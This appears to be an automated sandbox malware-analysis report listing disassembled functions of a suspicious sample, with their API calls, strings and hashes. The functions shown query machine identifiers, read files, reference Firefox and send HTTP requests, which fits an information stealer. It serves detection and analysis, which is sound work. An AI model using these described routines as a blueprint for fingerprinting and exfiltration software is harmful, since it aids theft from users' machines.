Associated: 00000000.00000002.2693911043.000000000040C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000417000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000458000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000045F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000466000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000051A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000533000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694396727.0000000000535000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694425266.0000000000537000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID: Stable\$firefox
API String ID: 3722407311-3160656979
Opcode ID: cfa1e1f25d0904b37ba279d90bf688b813adc01a0004ba88862e295c2527eff2
Instruction ID: 57271a3d6d385cc0fd3f4a0b3830d636b52f7f66977cee28615a0528dda60b26
Opcode Fuzzy Hash: cfa1e1f25d0904b37ba279d90bf688b813adc01a0004ba88862e295c2527eff2
Instruction Fuzzy Hash: FCE13371A102089FCB68EF64D956EEDB7B9BF44390F408539ED099B391DB309A18CF91

Function 00300340 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 42registryCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00300365
RegOpenKeyExA.KERNEL32(80000002,SOFTWARE\Microsoft\Cryptography,00000000,00020119,?), ref: 00300382
RegQueryValueExA.KERNEL32(?,MachineGuid,00000000,00000000,00000000,000000FF), ref: 003003A4
RegCloseKey.ADVAPI32(?), ref: 003003AE
CharToOemA.USER32(00000000,?), ref: 003003C2

Strings

SOFTWARE\Microsoft\Cryptography, xrefs: 00300378
MachineGuid, xrefs: 0030039E

Memory Dump Source

Source File: 00000000.00000002.2693911043.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2693873375.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000320000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000324000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000328000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000406000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000040C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000417000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000458000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000045F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000466000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000051A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000533000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694396727.0000000000535000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694425266.0000000000537000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: CharCloseOpenQueryValuememset
String ID: MachineGuid$SOFTWARE\Microsoft\Cryptography
API String ID: 2391366103-1211650757
Opcode ID: 26f8884b7aa3b977639a4551fc57c482a7712533724c4839cb31a1214305fedc
Instruction ID: 5d926ac6de816c91d803bc5d66e58ab4f529eb5b0e0fb0f4523521dcceec7497
Opcode Fuzzy Hash: 26f8884b7aa3b977639a4551fc57c482a7712533724c4839cb31a1214305fedc
Instruction Fuzzy Hash: B001717994020DBBDB64DB90DC4AFDAB778EB54700F1002D8F648A60C1DBB06BC98B50

Function 00302FA0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 101stringCOMMON

Download Yara Rule

APIs

Part of subcall function 002FF810: lstrcpy.KERNEL32(00000000,00000001), ref: 002FF839

Part of subcall function 002FF850: lstrcpy.KERNEL32(00000000), ref: 002FF878

Part of subcall function 002F5010: InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 002F5062
Part of subcall function 002F5010: StrCmpCA.SHLWAPI(?,02F43058), ref: 002F507A
Part of subcall function 002F5010: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 002F50A2
Part of subcall function 002F5010: HttpOpenRequestA.WININET(00000000,GET,?,02F45FE0,00000000,00000000,-00400100,00000000), ref: 002F50DC
Part of subcall function 002F5010: InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 002F5100
Part of subcall function 002F5010: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 002F510F

Part of subcall function 002FF8F0: lstrcpy.KERNEL32(00000000), ref: 002FF930

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00302FFA
lstrlen.KERNEL32(00000000), ref: 00303011

Part of subcall function 00300DA0: LocalAlloc.KERNEL32(00000040,002F87D9,?,?,?,?,002F87D8,00000000,00000000), ref: 00300DBC

StrStrA.SHLWAPI(00000000,00000000), ref: 00303039
lstrlen.KERNEL32(00000000), ref: 0030304E
lstrlen.KERNEL32(00000000), ref: 0030306B

Strings

ERROR, xrefs: 00302FEC, 00303076, 0030309D

Memory Dump Source

Source File: 00000000.00000002.2693911043.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2693873375.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000320000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000324000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000328000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000406000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000040C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000417000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000458000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000045F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000466000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000051A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000533000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694396727.0000000000535000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694425266.0000000000537000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Internetlstrcpylstrlen$HttpOpenRequest$AllocConnectLocalOptionSend
String ID: ERROR
API String ID: 3240024479-2861137601
Opcode ID: ef989e1c41e99feccc16750c1d0e64ce52a2d1d86499e7f8d356369adb491a7e
Instruction ID: dd3940e1812ffb39c91284d8055b74b6dae78d8a42329a8cd1bffca5c4e774b1
Opcode Fuzzy Hash: ef989e1c41e99feccc16750c1d0e64ce52a2d1d86499e7f8d356369adb491a7e
Instruction Fuzzy Hash: F33185719211086BDBA5FB70DD669FDB76CAE147C0F444134FE0667292DF30AB24CA90

Function 002F3D70 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 54stringnetworkCOMMON

Download Yara Rule

APIs

??_U@YAPAXI@Z.MSVCRT(00000400,?,00000001), ref: 002F3DA2
??_U@YAPAXI@Z.MSVCRT(00000400,00000400,?,00000001), ref: 002F3DAF
??_U@YAPAXI@Z.MSVCRT(00000400,00000400,00000400,?,00000001), ref: 002F3DBC
lstrlen.KERNEL32(00000000,00000000,0000003C,?,00000001), ref: 002F3DD6
InternetCrackUrlA.WININET(00000000,00000000,?,00000001), ref: 002F3DE6

Strings

<, xrefs: 002F3D92

Memory Dump Source

Source File: 00000000.00000002.2693911043.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2693873375.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000320000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000324000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000328000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000406000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000040C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000417000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000458000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000045F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000466000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000051A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000533000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694396727.0000000000535000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694425266.0000000000537000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: CrackInternetlstrlen
String ID: <
API String ID: 1274457161-4251816714
Opcode ID: d76b5c98eb0933722b3588c4004747288f71b01ab2ecfde8a5741a9f58a1a09b
Instruction ID: ad3c5e675d1d9b62828ed62c04983d12d1d8ec1376b7a81425e38ad1582426bd
Opcode Fuzzy Hash: d76b5c98eb0933722b3588c4004747288f71b01ab2ecfde8a5741a9f58a1a09b
Instruction Fuzzy Hash: 33117C71D0020CABDB00EFA4E845BEDB7A8EF44310F04523AFA15AB390EF3199058B94

Function 003005A0 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 47registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 003005B5
RtlAllocateHeap.NTDLL(00000000), ref: 003005BC

Part of subcall function 002FFA60: GetProcessHeap.KERNEL32(00000000,00000104), ref: 002FFA75
Part of subcall function 002FFA60: RtlAllocateHeap.NTDLL(00000000), ref: 002FFA7C
Part of subcall function 002FFA60: RegOpenKeyExA.KERNEL32(80000002,02F35198,00000000,00020119,?), ref: 002FFA9B
Part of subcall function 002FFA60: RegQueryValueExA.KERNEL32(?,CurrentBuildNumber,00000000,00000000,00000000,000000FF), ref: 002FFAB5
Part of subcall function 002FFA60: RegCloseKey.ADVAPI32(?), ref: 002FFABF

RegOpenKeyExA.KERNEL32(80000002,02F35198,00000000,00020119,?), ref: 003005F1
RegQueryValueExA.KERNEL32(?,02F45180,00000000,00000000,00000000,000000FF), ref: 0030060C
RegCloseKey.ADVAPI32(?), ref: 00300616

Strings

Windows 11, xrefs: 003005D0

Memory Dump Source

Source File: 00000000.00000002.2693911043.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2693873375.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000320000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000324000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000328000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000406000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000040C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000417000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000458000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000045F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000466000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000051A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000533000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694396727.0000000000535000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694425266.0000000000537000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3225020163-2517555085
Opcode ID: d3941c1b912d1e98667ee15f95c4fe5456f578892dff25ade7b1b3c2355a4b24
Instruction ID: c65bbfdb386a43de0b3b92a4d08e95b2f6292ad38e07092792d07c7612e96d36
Opcode Fuzzy Hash: d3941c1b912d1e98667ee15f95c4fe5456f578892dff25ade7b1b3c2355a4b24
Instruction Fuzzy Hash: 8B01267460120CBBE724DBA4EC09FBA777CEF44301F004159FA08D3280D6709959ABA0

Function 002FFA60 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 002FFA75
RtlAllocateHeap.NTDLL(00000000), ref: 002FFA7C
RegOpenKeyExA.KERNEL32(80000002,02F35198,00000000,00020119,?), ref: 002FFA9B
RegQueryValueExA.KERNEL32(?,CurrentBuildNumber,00000000,00000000,00000000,000000FF), ref: 002FFAB5
RegCloseKey.ADVAPI32(?), ref: 002FFABF

Strings

CurrentBuildNumber, xrefs: 002FFAAF

Memory Dump Source

Source File: 00000000.00000002.2693911043.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2693873375.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000320000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000324000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000328000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000406000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000040C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000417000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000458000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000045F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000466000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000051A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000533000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694396727.0000000000535000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694425266.0000000000537000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3225020163-1022791448
Opcode ID: 5c8cebccadf9a3e91b3b1b63b6071b65486b1760d0bd1739f226154e8ac14bcb
Instruction ID: febf2bd5d00a8ba5ef5514355a7bc04ea3ec8689022c7ead77e2aea273db9024
Opcode Fuzzy Hash: 5c8cebccadf9a3e91b3b1b63b6071b65486b1760d0bd1739f226154e8ac14bcb
Instruction Fuzzy Hash: 0EF0C2B5541308BBE724ABE0AC0AFFB7B7CEF59711F040154FA05A6180D7705A4897A1

Function 002FFED0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 39memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 002FFEDE
RtlAllocateHeap.NTDLL(00000000), ref: 002FFEE5
GlobalMemoryStatusEx.KERNEL32(?,?,00000000,00000040), ref: 002FFF05
wsprintfA.USER32 ref: 002FFF2B

Strings

%d MB, xrefs: 002FFF25
@, xrefs: 002FFEFE

Memory Dump Source

Source File: 00000000.00000002.2693911043.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2693873375.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000320000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000324000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000328000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000406000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000040C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000417000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000458000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000045F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000466000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000051A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000533000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694396727.0000000000535000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694425266.0000000000537000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Heap$AllocateGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2922868504-3474575989
Opcode ID: 6e4445b4f29e9a3022ed7898c933b6bce3305b20c3e2b4e93f515c60fa75f960
Instruction ID: 2aadbbdfe7b8c8ca6e8d1976dbe0cef25def02bedcd4d582d0d5087fd63eb91b
Opcode Fuzzy Hash: 6e4445b4f29e9a3022ed7898c933b6bce3305b20c3e2b4e93f515c60fa75f960
Instruction Fuzzy Hash: 42F062B1A5021CABE714ABA8DC0AFBE77ACEF05344F400128F706E61C0D7649C0587A5

Function 002F6C20 Relevance: 9.1, APIs: 6, Instructions: 71filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,?,00000000,?,002F1916,?), ref: 002F6C3F
GetFileSizeEx.KERNEL32(00000000,?,?,002F1916,?,?,?,?,?,?,?,?,?,?,?,003101E9), ref: 002F6C55
LocalAlloc.KERNEL32(00000040,?,?,?,002F1916,?), ref: 002F6C70
ReadFile.KERNEL32(00000000,00000000,?,?,00000000,?,?,002F1916,?), ref: 002F6C89
LocalFree.KERNEL32(?,?,?,002F1916,?,?,?,?,?,?,?,?,?,?,?,003101E9), ref: 002F6CA9
CloseHandle.KERNEL32(00000000,?,002F1916,?,?,?,?,?,?,?,?,?,?,?,003101E9), ref: 002F6CB1

Memory Dump Source

Source File: 00000000.00000002.2693911043.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2693873375.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000320000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000324000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000328000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000406000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000040C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000417000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000458000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000045F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000466000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000051A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000533000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694396727.0000000000535000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694425266.0000000000537000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: d7ac34a9519c731048d85712a3bd389299e89ce12381a3da2bd62c0e7972e708
Instruction ID: 6c87416fd43da8408b59be7c4dad4e28844d6a2a7e8db31d249edf31f219a9fc
Opcode Fuzzy Hash: d7ac34a9519c731048d85712a3bd389299e89ce12381a3da2bd62c0e7972e708
Instruction Fuzzy Hash: C611A27121010AAFEB20DF64DC9CEBAB77DEF91780F104139FA8197290DB30AD569B60

Function 003075F0 Relevance: 9.1, APIs: 6, Instructions: 67COMMON

Download Yara Rule

APIs

Part of subcall function 003076E0: GetProcAddress.KERNEL32(76E00000,02F404B8), ref: 00307748
Part of subcall function 003076E0: GetProcAddress.KERNEL32(76E00000,02F402C0), ref: 00307761
Part of subcall function 003076E0: GetProcAddress.KERNEL32(76E00000,02F402D8), ref: 00307779
Part of subcall function 003076E0: GetProcAddress.KERNEL32(76E00000,02F403E0), ref: 00307791
Part of subcall function 003076E0: GetProcAddress.KERNEL32(76E00000,02F3B368), ref: 003077AA
Part of subcall function 003076E0: GetProcAddress.KERNEL32(76E00000,02F39F50), ref: 003077C2
Part of subcall function 003076E0: GetProcAddress.KERNEL32(76E00000,02F3A0B0), ref: 003077DA
